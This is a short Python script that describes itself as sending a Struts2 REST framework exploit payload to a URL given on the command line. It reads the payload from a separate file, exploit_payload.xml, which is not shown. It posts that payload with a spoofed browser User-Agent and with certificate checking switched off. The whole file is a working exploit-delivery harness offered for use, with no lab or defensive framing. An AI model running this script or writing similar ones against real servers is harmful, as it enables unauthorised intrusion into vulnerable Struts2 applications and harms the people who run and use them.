"""python send_exploit.py <url>
Send Struts2 Rest Framework exploit payload to url
"""

import requests
import sys

url = sys.argv[1]

with open('exploit_payload.xml') as f:
    payload = f.read()

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
    'Referer': str(url),
    'Content-Type': 'application/xml',
    'Accept': '*/*'
}

output = requests.post(url, data=payload, headers=headers, verify=False,
                       allow_redirects=False).text
